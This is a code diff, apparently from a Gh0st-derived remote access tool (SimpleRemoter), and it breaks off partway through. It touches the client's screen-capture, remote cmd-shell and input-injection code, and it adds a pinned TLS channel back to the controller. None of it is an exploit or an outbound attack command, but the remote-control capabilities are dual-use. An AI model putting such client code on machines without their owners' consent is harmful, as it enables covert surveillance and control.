@@ -188,6 +194,7 @@ bool CScreenManager::RestartScreen(BOOL switchScreen)
|
||||
m_bIsWorking = FALSE;
|
||||
DWORD s = WaitForSingleObject(m_hWorkThread, 1000);
|
||||
if (s == WAIT_TIMEOUT) {
|
||||
Mprintf("TerminateThread: 截屏工作线程 handle=%p threadId=%lu\n", m_hWorkThread, GetThreadId(m_hWorkThread));
|
||||
TerminateThread(m_hWorkThread, 0x20260215);
|
||||
}
|
||||
|
||||
@@ -470,7 +477,7 @@ void CScreenManager::InitScreenSpy()
|
||||
BOOL switchScreen = m_SwitchScreen;
|
||||
if (!(user == NULL || ((int)user) == 1)) {
|
||||
UserParam* param = (UserParam*)user;
|
||||
if (param) {
|
||||
if (param && param->length>0) {
|
||||
DXGI = param->buffer[0];
|
||||
algo = param->length > 1 ? param->buffer[1] : algo;
|
||||
all = param->length > 2 ? param->buffer[2] : all;
|
||||
@@ -798,7 +805,7 @@ void RunFileReceiver(CScreenManager *mgr, const std::string &folder, const std::
|
||||
Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId());
|
||||
IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn);
|
||||
if (pClient->ConnectServer(mgr->m_ClientObject->ServerIP().c_str(), mgr->m_ClientObject->ServerPort())) {
|
||||
pClient->setManagerCallBack(mgr, CManager::DataProcess, CManager::ReconnectProcess);
|
||||
pClient->setManagerCallBack(mgr, CManager::DataProcess, nullptr);
|
||||
// 发送目录并准备接收文件
|
||||
int len = 1 + folder.length() + files.length() + 1;
|
||||
char* cmd = new char[len];
|
||||
@@ -862,6 +869,20 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
m_ClientObject->StopRunning();
|
||||
break;
|
||||
}
|
||||
case COMMAND_SCREEN_SIGNATURE: {
|
||||
SignatureResp resp = { 0 };
|
||||
memcpy(&resp, szBuffer + 1, min(sizeof(resp), ulLength-1));
|
||||
if (m_Signature.empty()) {
|
||||
m_Signature = std::string(resp.signature, resp.signature + 64);
|
||||
m_ClientObject->SetVerifyInfo(resp.msg, m_Signature);
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
int chunkKb, durMs;
|
||||
GetTransferSpeed(cfg, chunkKb, durMs);
|
||||
InitFileUpload({}, std::string(resp.msg), m_Signature, chunkKb, durMs, Logf);
|
||||
Mprintf("[CScreenManager] Received Signature: <%s, %s>\n", resp.msg, m_Signature.c_str());
|
||||
}
|
||||
break;
|
||||
}
|
||||
case COMMAND_SCREEN_ROI:{
|
||||
if (ulLength > sizeof(RECT)) {
|
||||
memcpy(&m_ROI, szBuffer + 1, sizeof(RECT));
|
||||
@@ -923,6 +944,13 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
m_ScreenSettings.RemoteCursor = remoteCursor;
|
||||
break;
|
||||
}
|
||||
case CMD_CUSTOM_CURSOR: {
|
||||
int CustomCursor = szBuffer[1];
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetInt("settings", "CustomCursor", CustomCursor);
|
||||
m_ScreenSettings.CustomCursor = CustomCursor;
|
||||
break;
|
||||
}
|
||||
case CMD_MULTITHREAD_COMPRESS: {
|
||||
int threadNum = szBuffer[1];
|
||||
m_ClientObject->SetMultiThreadCompress(threadNum);
|
||||
@@ -1706,11 +1734,15 @@ bool IsExtendedKey(WPARAM vKey)
|
||||
|
||||
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
// 记录大小判定:现代控制端(本服务端)统一发 48 字节 MSG64;28 字节 MSG32 仅为兼容
|
||||
// 老 32 位控制端。二者长度的最小公倍数是 336(=7×48=12×28),批量注入(如 MCP 远程
|
||||
// 控制的 type/拖拽)时若先判 %28,会把 7 的整数倍条 MSG64 误判成 MSG32,字段错位导致
|
||||
// 输入错乱甚至吞掉按键;故先判 %48,仅当不整除 48 才回落到 28。
|
||||
int msgSize = sizeof(MSG64);
|
||||
if (ulLength % 28 == 0) // 32位控制端发过来的消息
|
||||
msgSize = 28;
|
||||
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
|
||||
if (ulLength % 48 == 0) // 64位控制端(现代服务端)发过来的消息
|
||||
msgSize = 48;
|
||||
else if (ulLength % 28 == 0) // 32位控制端发过来的消息(兼容)
|
||||
msgSize = 28;
|
||||
else return; // 数据包不合法
|
||||
|
||||
// 命令个数
|
||||
|
||||
+18
-3
@@ -26,12 +26,23 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
|
||||
|
||||
IDD_DIALOG DIALOGEX 0, 0, 180, 108
|
||||
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
||||
CAPTION "娑堟伅鎻愮ず"
|
||||
CAPTION "消息提示"
|
||||
FONT 10, "System", 0, 0, 0x0
|
||||
BEGIN
|
||||
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
|
||||
END
|
||||
|
||||
IDD_CHAT DIALOGEX 0, 0, 235, 155
|
||||
STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
||||
CAPTION "Chat"
|
||||
FONT 10, "System", 0, 0, 0x0
|
||||
BEGIN
|
||||
EDITTEXT IDC_EDIT_CHATLOG,3,3,229,107,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_VSCROLL
|
||||
EDITTEXT IDC_EDIT_NEWMSG,3,113,170,38,ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL
|
||||
DEFPUSHBUTTON "Send",IDC_BUTTON_SEND,178,116,54,14
|
||||
PUSHBUTTON "End",IDC_BUTTON_END,178,133,54,14
|
||||
END
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
@@ -44,6 +55,10 @@ BEGIN
|
||||
IDD_DIALOG, DIALOG
|
||||
BEGIN
|
||||
END
|
||||
|
||||
IDD_CHAT, DIALOG
|
||||
BEGIN
|
||||
END
|
||||
END
|
||||
#endif // APSTUDIO_INVOKED
|
||||
|
||||
@@ -88,7 +103,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
||||
//
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,0,3,7
|
||||
FILEVERSION 1,0,4,0
|
||||
PRODUCTVERSION 1,0,0,1
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
@@ -106,7 +121,7 @@ BEGIN
|
||||
BEGIN
|
||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||
VALUE "FileDescription", "A GHOST"
|
||||
VALUE "FileVersion", "1.0.3.7"
|
||||
VALUE "FileVersion", "1.0.4.0"
|
||||
VALUE "InternalName", "ServerDll.dll"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
||||
VALUE "OriginalFilename", "ServerDll.dll"
|
||||
|
||||
@@ -163,6 +163,7 @@ CShellManager::~CShellManager()
|
||||
m_bStarting = FALSE;
|
||||
|
||||
TerminateProcess(m_hShellProcessHandle, 0); //结束我们自己创建的Cmd进程
|
||||
Mprintf("TerminateThread: cmd 线程 handle=%p threadId=%lu\n", m_hShellThreadHandle, GetThreadId(m_hShellThreadHandle));
|
||||
TerminateThread(m_hShellThreadHandle, 0); //结束我们自己创建的Cmd线程
|
||||
Sleep(100);
|
||||
|
||||
|
||||
Binary file not shown.
@@ -78,7 +78,7 @@
|
||||
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Configuration)\test</IntDir>
|
||||
</PropertyGroup>
|
||||
@@ -168,6 +168,7 @@
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
<ClCompile Include="reg_startup.c" />
|
||||
<ClCompile Include="ServiceWrapper.c" />
|
||||
<ClCompile Include="session.cpp" />
|
||||
<ClCompile Include="SessionMonitor.c" />
|
||||
<ClCompile Include="test.cpp" />
|
||||
</ItemGroup>
|
||||
@@ -177,6 +178,7 @@
|
||||
<ClInclude Include="reg_startup.h" />
|
||||
<ClInclude Include="resource1.h" />
|
||||
<ClInclude Include="ServiceWrapper.h" />
|
||||
<ClInclude Include="session.h" />
|
||||
<ClInclude Include="SessionMonitor.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
|
||||
@@ -0,0 +1,508 @@
|
||||
// TlsChannel.cpp — 见 TlsChannel.h 头注释。仅 _WIN32 编译。
|
||||
#ifdef _WIN32
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "TlsChannel.h"
|
||||
|
||||
#include "common/iniFile.h" // config(settings.ini 文件回退) + GetRegistryName/GetCurrentUserRegistryKey(注册表正文)
|
||||
|
||||
#include <wincrypt.h> // 证书/链引擎 API
|
||||
#include <winreg.h> // RegOpenKeyExA / RegQueryValueExA
|
||||
#include <io.h> // _access
|
||||
#include <fstream> // std::ifstream
|
||||
#include <iterator> // std::istreambuf_iterator
|
||||
#include <string>
|
||||
#include <mutex> // std::call_once
|
||||
|
||||
#pragma comment(lib, "secur32.lib")
|
||||
#pragma comment(lib, "crypt32.lib")
|
||||
|
||||
namespace {
|
||||
|
||||
std::once_flag g_tlsOnce;
|
||||
bool g_tlsEnabled = false; // TLS 会话可用:send/recv 走加密
|
||||
bool g_tlsError = false; // 证书存在但加载失败:拒绝连接(fail-closed)
|
||||
HCERTSTORE g_tlsStore = NULL;
|
||||
HCERTCHAINENGINE g_tlsEngine = NULL; // 只信任 g_tlsStore 的链引擎(严格钉扎)
|
||||
|
||||
// 解析信任锚证书路径:优先 settings.ini 的 [settings] tls_cert,其次可执行文件同目录
|
||||
// yama-ca.pem。
|
||||
std::string ResolveCertPath()
|
||||
{
|
||||
std::string certPath;
|
||||
{
|
||||
config cfg;
|
||||
certPath = cfg.GetStr("settings", "tls_cert", "");
|
||||
}
|
||||
if (certPath.empty()) {
|
||||
char path[MAX_PATH];
|
||||
if (!GetModuleFileNameA(NULL, path, sizeof(path)))
|
||||
return std::string(); // 拿不到 exe 路径,视为未配置
|
||||
char* p = path + strlen(path);
|
||||
while (p > path && *p != '\\') --p;
|
||||
strcpy(p + 1, "yama-ca.pem");
|
||||
certPath = path;
|
||||
}
|
||||
return certPath;
|
||||
}
|
||||
|
||||
// 读取注册表 REG_SZ(动态扩容)。iniFile::GetStr 用 512 字节固定缓冲,会把 PEM 正文
|
||||
// (约 1.3~1.8KB)截断成空,故此处自行两段式 RegQueryValueEx 读取。
|
||||
// 返回 true 表示值存在且为 REG_SZ,out 为去掉末尾 '\0' 后的内容;否则 false。
|
||||
bool ReadRegistrySz(HKEY root, const std::string& subKey, const std::string& valueName, std::string& out)
|
||||
{
|
||||
HKEY hKey = NULL;
|
||||
if (RegOpenKeyExA(root, subKey.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
DWORD type = 0, size = 0;
|
||||
LONG r = RegQueryValueExA(hKey, valueName.c_str(), NULL, &type, NULL, &size);
|
||||
if (r != ERROR_SUCCESS || type != REG_SZ) {
|
||||
RegCloseKey(hKey);
|
||||
return false;
|
||||
}
|
||||
std::vector<char> buf(size ? size : 1, 0);
|
||||
r = RegQueryValueExA(hKey, valueName.c_str(), NULL, &type,
|
||||
reinterpret_cast<LPBYTE>(buf.data()), &size);
|
||||
RegCloseKey(hKey);
|
||||
if (r != ERROR_SUCCESS)
|
||||
return false;
|
||||
if (size > 0 && buf[size - 1] == '\0')
|
||||
--size; // REG_SZ 的 size 含末尾 '\0'
|
||||
out.assign(buf.data(), size);
|
||||
return true;
|
||||
}
|
||||
|
||||
// 取信任锚 PEM 正文。优先注册表 Software\<exehash>\settings\tls_cert(REG_SZ 直接存
|
||||
// PEM 正文,便于后续服务端下发/撤销),其次 settings.ini [settings] tls_cert 路径、
|
||||
// exe 同目录 yama-ca.pem 文件(向后兼容旧的文件投递方式)。
|
||||
// 返回 true 表示已配置(pem 可能为空:值/文件存在但内容为空,由 LoadTrustAnchor 判为
|
||||
// fail-closed);false 表示完全未配置(走明文)。source 描述来源,仅用于日志。
|
||||
bool ReadTrustAnchor(std::string& pem, std::string& source)
|
||||
{
|
||||
// 1) 注册表正文(首选)。值存在(即便为空)即视为「已配置」,交由 LoadTrustAnchor
|
||||
// 对空/损坏内容判 fail-closed,与「空文件 → fail-closed」语义保持一致,避免空值
|
||||
// 被静默当成未配置而回退明文。
|
||||
std::string regSubKey = GetRegistryName() + "\\settings";
|
||||
std::string regVal;
|
||||
if (ReadRegistrySz(GetCurrentUserRegistryKey(), regSubKey, "tls_cert", regVal)) {
|
||||
pem = regVal;
|
||||
source = "registry " + regSubKey + "\\tls_cert";
|
||||
return true;
|
||||
}
|
||||
|
||||
// 2) 文件回退:settings.ini [settings] tls_cert 路径 → exe 同目录 yama-ca.pem
|
||||
std::string certPath = ResolveCertPath();
|
||||
if (certPath.empty() || _access(certPath.c_str(), 0) != 0)
|
||||
return false; // 无证书 → 明文
|
||||
|
||||
std::ifstream f(certPath.c_str(), std::ios::binary);
|
||||
if (!f) {
|
||||
Mprintf("[TLS] cannot open %s\n", certPath.c_str());
|
||||
return false;
|
||||
}
|
||||
pem.assign((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
|
||||
source = certPath;
|
||||
return true;
|
||||
}
|
||||
|
||||
// 解码 PEM/DER 信任锚正文为 DER,并加入内存信任锚存储。
|
||||
bool LoadTrustAnchor(const std::string& pem, const std::string& source, HCERTSTORE* outStore)
|
||||
{
|
||||
if (pem.empty()) {
|
||||
Mprintf("[TLS] empty certificate %s\n", source.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
// PEM(-----BEGIN CERTIFICATE----- base64)或 DER → DER。CRYPT_STRING_ANY 两者都认,
|
||||
// 失败再退回 CRYPT_STRING_BASE64HEADER(纯 PEM)。
|
||||
DWORD derLen = 0;
|
||||
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
|
||||
NULL, &derLen, NULL, NULL) || derLen == 0) {
|
||||
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_BASE64HEADER,
|
||||
NULL, &derLen, NULL, NULL) || derLen == 0) {
|
||||
Mprintf("[TLS] failed to decode certificate %s\n", source.c_str());
|
||||
return false;
|
||||
}
|
||||
}
|
||||
std::vector<BYTE> der(derLen);
|
||||
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
|
||||
der.data(), &derLen, NULL, NULL)) {
|
||||
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_BASE64HEADER,
|
||||
der.data(), &derLen, NULL, NULL)) {
|
||||
Mprintf("[TLS] failed to decode certificate %s\n", source.c_str());
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
PCCERT_CONTEXT cert = CertCreateCertificateContext(X509_ASN_ENCODING, der.data(), derLen);
|
||||
if (!cert) {
|
||||
Mprintf("[TLS] invalid certificate %s\n", source.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
HCERTSTORE store = CertOpenStore(CERT_STORE_PROV_MEMORY, X509_ASN_ENCODING,
|
||||
0, CERT_STORE_CREATE_NEW_FLAG, NULL);
|
||||
if (!store) {
|
||||
CertFreeCertificateContext(cert);
|
||||
Mprintf("[TLS] CertOpenStore failed\n");
|
||||
return false;
|
||||
}
|
||||
if (!CertAddCertificateContextToStore(store, cert, CERT_STORE_ADD_REPLACE_EXISTING, NULL)) {
|
||||
CertCloseStore(store, 0);
|
||||
CertFreeCertificateContext(cert);
|
||||
Mprintf("[TLS] CertAddCertificateContextToStore failed\n");
|
||||
return false;
|
||||
}
|
||||
CertFreeCertificateContext(cert);
|
||||
|
||||
*outStore = store;
|
||||
return true;
|
||||
}
|
||||
|
||||
void InitTls()
|
||||
{
|
||||
std::string pem, source;
|
||||
if (!ReadTrustAnchor(pem, source)) {
|
||||
// 无证书 → 明文(默认,与老客户端一致)
|
||||
g_tlsEnabled = false;
|
||||
g_tlsError = false;
|
||||
Mprintf("[TLS] disabled: no trust anchor configured, plaintext mode\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// 证书已配置:管理员已「颁发」,必须走 TLS;加载失败即拒绝连接(fail-closed),
|
||||
// 不能静默回退明文。
|
||||
HCERTSTORE store = NULL;
|
||||
if (!LoadTrustAnchor(pem, source, &store)) {
|
||||
g_tlsEnabled = false;
|
||||
g_tlsError = true;
|
||||
Mprintf("[TLS] FATAL: trust anchor (%s) present but failed to load; refusing connections (fail-closed)\n",
|
||||
source.c_str());
|
||||
return;
|
||||
}
|
||||
|
||||
// 严格钉扎:链引擎只信任该 store 里的根证书,排除系统根库。否则攻击者拿一张任意
|
||||
// 公共 CA 签发的证书就能通过 CertGetCertificateChain(默认引擎信任系统根库)。
|
||||
CERT_CHAIN_ENGINE_CONFIG ec = {};
|
||||
ec.cbSize = sizeof(ec);
|
||||
ec.hExclusiveRoot = store;
|
||||
HCERTCHAINENGINE engine = NULL;
|
||||
if (!CertCreateCertificateChainEngine(&ec, &engine)) {
|
||||
CertCloseStore(store, 0);
|
||||
g_tlsEnabled = false;
|
||||
g_tlsError = true;
|
||||
Mprintf("[TLS] FATAL: CertCreateCertificateChainEngine failed; refusing connections (fail-closed)\n");
|
||||
return;
|
||||
}
|
||||
|
||||
g_tlsStore = store;
|
||||
g_tlsEngine = engine;
|
||||
g_tlsEnabled = true;
|
||||
g_tlsError = false;
|
||||
Mprintf("[TLS] enabled: trust anchor loaded (%s), all connections use TLS\n", source.c_str());
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
bool TlsEnabled()
|
||||
{
|
||||
std::call_once(g_tlsOnce, InitTls);
|
||||
return g_tlsEnabled;
|
||||
}
|
||||
|
||||
bool TlsLoadError()
|
||||
{
|
||||
std::call_once(g_tlsOnce, InitTls);
|
||||
return g_tlsError;
|
||||
}
|
||||
|
||||
// ---- TlsChannel ----
|
||||
|
||||
void TlsChannel::CloseHandles()
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
|
||||
if (m_ctxValid) { DeleteSecurityContext(&m_ctx); m_ctx = {}; m_ctxValid = false; }
|
||||
if (m_credValid) { FreeCredentialsHandle(&m_cred); m_cred = {}; m_credValid = false; }
|
||||
m_ready = false;
|
||||
m_raw.clear();
|
||||
m_pending.clear();
|
||||
}
|
||||
|
||||
bool TlsChannel::SendAll(SOCKET sock, const void* data, int len)
|
||||
{
|
||||
const char* p = (const char*)data;
|
||||
int sent = 0;
|
||||
while (sent < len) {
|
||||
int n = ::send(sock, p + sent, len - sent, 0);
|
||||
if (n == SOCKET_ERROR || n == 0)
|
||||
return false;
|
||||
sent += n;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool TlsChannel::VerifyServerCert()
|
||||
{
|
||||
PCCERT_CONTEXT remote = NULL;
|
||||
SECURITY_STATUS sc = QueryContextAttributesA(&m_ctx, SECPKG_ATTR_REMOTE_CERT_CONTEXT, &remote);
|
||||
if (sc != SEC_E_OK || !remote)
|
||||
return false;
|
||||
|
||||
if (!g_tlsStore || !g_tlsEngine) {
|
||||
CertFreeCertificateContext(remote);
|
||||
return false;
|
||||
}
|
||||
|
||||
CERT_CHAIN_PARA para = {};
|
||||
para.cbSize = sizeof(para);
|
||||
PCCERT_CHAIN_CONTEXT chain = NULL;
|
||||
// g_tlsEngine 的 hExclusiveRoot 已把信任锚限制为 g_tlsStore;hAdditionalStore 再传一次
|
||||
// 该 store 供链引擎查找 CA/中间证书。只接受「无任何错误位」的链(含时间有效性)。
|
||||
// 不设置任何 CERT_CHAIN_REVOCATION_CHECK_* 位 = 不做吊销检查(私有 CA 无 CRL/OCSP,
|
||||
// 且这些位会触发联网,反而失败);只保留 CERT_CHAIN_DISABLE_AIA 禁止联网取中间证书。
|
||||
BOOL ok = CertGetCertificateChain(g_tlsEngine, remote, NULL, g_tlsStore, ¶,
|
||||
CERT_CHAIN_DISABLE_AIA,
|
||||
NULL, &chain);
|
||||
bool trusted = false;
|
||||
if (ok && chain) {
|
||||
trusted = (chain->TrustStatus.dwErrorStatus == CERT_TRUST_NO_ERROR);
|
||||
}
|
||||
if (chain) CertFreeCertificateChain(chain);
|
||||
CertFreeCertificateContext(remote);
|
||||
return trusted;
|
||||
}
|
||||
|
||||
bool TlsChannel::Handshake(SOCKET sock)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
|
||||
CloseHandles(); // 重连时清理上一次会话(recursive 锁,此处可重入)
|
||||
|
||||
SCHANNEL_CRED cred = {};
|
||||
cred.dwVersion = SCHANNEL_CRED_VERSION;
|
||||
cred.dwFlags = SCH_CRED_MANUAL_CRED_VALIDATION | SCH_CRED_NO_DEFAULT_CREDS;
|
||||
cred.grbitEnabledProtocols = SP_PROT_TLS1_2_CLIENT; // TLS 1.2(与 Go 端 MinVersion 对齐)
|
||||
|
||||
TimeStamp tsExpiry = {};
|
||||
SECURITY_STATUS sc = AcquireCredentialsHandleA(
|
||||
NULL, (SEC_CHAR*)"Microsoft Unified Security Protocol Provider",
|
||||
SECPKG_CRED_OUTBOUND, NULL, &cred, NULL, NULL, &m_cred, &tsExpiry);
|
||||
if (sc != SEC_E_OK) {
|
||||
Mprintf("[TLS] AcquireCredentialsHandle failed: 0x%08X\n", (unsigned)sc);
|
||||
return false;
|
||||
}
|
||||
m_credValid = true;
|
||||
|
||||
DWORD flags = ISC_REQ_SEQUENCE_DETECT | ISC_REQ_REPLAY_DETECT | ISC_REQ_CONFIDENTIALITY
|
||||
| ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_STREAM | ISC_REQ_MANUAL_CRED_VALIDATION;
|
||||
|
||||
SecBuffer outBuf = { 0, SECBUFFER_TOKEN, NULL };
|
||||
SecBufferDesc outDesc = { SECBUFFER_VERSION, 1, &outBuf };
|
||||
ULONG attrs = 0;
|
||||
|
||||
// 首次调用产生 ClientHello
|
||||
sc = InitializeSecurityContextA(&m_cred, NULL, NULL, flags, 0, SECURITY_NATIVE_DREP,
|
||||
NULL, 0, &m_ctx, &outDesc, &attrs, &tsExpiry);
|
||||
m_ctxValid = true; // 上下文已分配,之后必须 DeleteSecurityContext
|
||||
if (sc != SEC_I_CONTINUE_NEEDED && sc != SEC_E_OK) {
|
||||
Mprintf("[TLS] InitializeSecurityContext(initial) failed: 0x%08X\n", (unsigned)sc);
|
||||
CloseHandles();
|
||||
return false;
|
||||
}
|
||||
if (outBuf.cbBuffer > 0 && outBuf.pvBuffer) {
|
||||
if (!SendAll(sock, outBuf.pvBuffer, (int)outBuf.cbBuffer)) {
|
||||
FreeContextBuffer(outBuf.pvBuffer);
|
||||
CloseHandles();
|
||||
return false;
|
||||
}
|
||||
FreeContextBuffer(outBuf.pvBuffer);
|
||||
}
|
||||
|
||||
std::vector<BYTE> hs;
|
||||
char raw[8192];
|
||||
while (sc == SEC_I_CONTINUE_NEEDED || sc == SEC_E_INCOMPLETE_MESSAGE ||
|
||||
sc == SEC_I_INCOMPLETE_CREDENTIALS)
|
||||
{
|
||||
int r = recv(sock, raw, sizeof(raw), 0);
|
||||
if (r == SOCKET_ERROR || r == 0) {
|
||||
Mprintf("[TLS] handshake recv failed/EOF\n");
|
||||
CloseHandles();
|
||||
return false;
|
||||
}
|
||||
hs.insert(hs.end(), (BYTE*)raw, (BYTE*)raw + r);
|
||||
|
||||
SecBuffer inBufs[2] = {
|
||||
{ (ULONG)hs.size(), SECBUFFER_TOKEN, hs.data() },
|
||||
{ 0, SECBUFFER_EMPTY, NULL },
|
||||
};
|
||||
SecBufferDesc inDesc = { SECBUFFER_VERSION, 2, inBufs };
|
||||
|
||||
outBuf = { 0, SECBUFFER_TOKEN, NULL };
|
||||
outDesc = { SECBUFFER_VERSION, 1, &outBuf };
|
||||
|
||||
sc = InitializeSecurityContextA(&m_cred, &m_ctx, NULL, flags, 0, SECURITY_NATIVE_DREP,
|
||||
&inDesc, 0, NULL, &outDesc, &attrs, &tsExpiry);
|
||||
|
||||
// 裁剪已消费的输入,仅保留 SECBUFFER_EXTRA 指向的未消费尾部
|
||||
if (inBufs[1].BufferType == SECBUFFER_EXTRA) {
|
||||
int extra = inBufs[1].cbBuffer;
|
||||
int consumed = (int)hs.size() - extra;
|
||||
hs.erase(hs.begin(), hs.begin() + consumed);
|
||||
} else {
|
||||
hs.clear();
|
||||
}
|
||||
|
||||
if (outBuf.cbBuffer > 0 && outBuf.pvBuffer) {
|
||||
if (!SendAll(sock, outBuf.pvBuffer, (int)outBuf.cbBuffer)) {
|
||||
FreeContextBuffer(outBuf.pvBuffer);
|
||||
CloseHandles();
|
||||
return false;
|
||||
}
|
||||
FreeContextBuffer(outBuf.pvBuffer);
|
||||
}
|
||||
}
|
||||
|
||||
if (sc != SEC_E_OK) {
|
||||
Mprintf("[TLS] handshake failed: 0x%08X\n", (unsigned)sc);
|
||||
CloseHandles();
|
||||
return false;
|
||||
}
|
||||
|
||||
// 握手成功后 hs 里可能残留「未消费的尾部」= 服务端 Finished 后紧跟的首条应用数据
|
||||
// (TLS 记录)。若不下发,首包会被丢弃,导致随机丢包/协议错位。交给 Recv 解。
|
||||
if (!hs.empty())
|
||||
m_raw.insert(m_raw.end(), hs.begin(), hs.end());
|
||||
|
||||
if (!VerifyServerCert()) {
|
||||
Mprintf("[TLS] server certificate not trusted against yama-ca.pem (fail-closed)\n");
|
||||
CloseHandles();
|
||||
return false;
|
||||
}
|
||||
|
||||
sc = QueryContextAttributesA(&m_ctx, SECPKG_ATTR_STREAM_SIZES, &m_sizes);
|
||||
if (sc != SEC_E_OK) {
|
||||
Mprintf("[TLS] QueryContextAttributes(StreamSizes) failed: 0x%08X\n", (unsigned)sc);
|
||||
CloseHandles();
|
||||
return false;
|
||||
}
|
||||
|
||||
m_ready = true;
|
||||
Mprintf("[TLS] handshake OK (TLS 1.2, server cert trusted)\n");
|
||||
return true;
|
||||
}
|
||||
|
||||
int TlsChannel::Recv(SOCKET sock, char* out, int outLen)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
|
||||
if (!m_ready || outLen <= 0) {
|
||||
Mprintf("[TLS] Recv called but m_ready=%d (outLen=%d), returning SOCKET_ERROR\n",
|
||||
(int)m_ready, outLen);
|
||||
return SOCKET_ERROR;
|
||||
}
|
||||
|
||||
if (!m_pending.empty()) {
|
||||
int n = (int)m_pending.size() < outLen ? (int)m_pending.size() : outLen;
|
||||
memcpy(out, m_pending.data(), n);
|
||||
m_pending.erase(m_pending.begin(), m_pending.begin() + n);
|
||||
return n;
|
||||
}
|
||||
|
||||
char raw[16384];
|
||||
for (;;) {
|
||||
// 优先解密 m_raw 里已缓冲的字节(握手时随 Finished 收下的首条应用数据,或上轮
|
||||
// 一次 recv 到多条记录后剩下的记录)。select() 只看底层 socket,看不到这些字节,
|
||||
// 若先 recv 就会把它们卡住(随机延迟/死锁/协议错位)。
|
||||
while (!m_raw.empty()) {
|
||||
SecBuffer bufs[4] = {
|
||||
{ (ULONG)m_raw.size(), SECBUFFER_DATA, m_raw.data() },
|
||||
{ 0, SECBUFFER_EMPTY, NULL },
|
||||
{ 0, SECBUFFER_EMPTY, NULL },
|
||||
{ 0, SECBUFFER_EMPTY, NULL },
|
||||
};
|
||||
SecBufferDesc desc = { SECBUFFER_VERSION, 4, bufs };
|
||||
SECURITY_STATUS sc = DecryptMessage(&m_ctx, &desc, 0, NULL);
|
||||
|
||||
if (sc == SEC_E_INCOMPLETE_MESSAGE)
|
||||
break; // 记录不完整,去 recv 补字节
|
||||
if (sc == SEC_I_CONTEXT_EXPIRED)
|
||||
return 0; // close_notify
|
||||
if (sc == SEC_I_RENEGOTIATE || FAILED(sc)) {
|
||||
// 客户端解密失败(服务端发来的密文损坏/错位)。这里只返回 SOCKET_ERROR,
|
||||
// 而 WSAGetLastError() 会残留上一次 Winsock 调用的旧值(如 6001),
|
||||
// 掩盖真实原因,故把真实的 SECURITY_STATUS 记下来。
|
||||
Mprintf("[TLS] client DecryptMessage failed 0x%08x (raw=%u pending=%u)\n",
|
||||
(unsigned)sc, (unsigned)m_raw.size(), (unsigned)m_pending.size());
|
||||
return SOCKET_ERROR;
|
||||
}
|
||||
|
||||
// 流模式 DecryptMessage 会把输入 SECBUFFER_DATA 重组为 4 段:
|
||||
// bufs[0]=STREAM_HEADER(记录头+nonce)、bufs[1]=DATA(明文)、
|
||||
// bufs[2]=STREAM_TRAILER(标签)、bufs[3]=EXTRA(下一条记录)。
|
||||
// 明文在 bufs[1].pvBuffer,不在 m_raw 首字节。
|
||||
int decLen = bufs[1].cbBuffer;
|
||||
const BYTE* plain = (const BYTE*)bufs[1].pvBuffer;
|
||||
int extra = (bufs[3].BufferType == SECBUFFER_EXTRA) ? bufs[3].cbBuffer : 0;
|
||||
int consumed = (int)m_raw.size() - extra;
|
||||
m_pending.insert(m_pending.end(), plain, plain + decLen);
|
||||
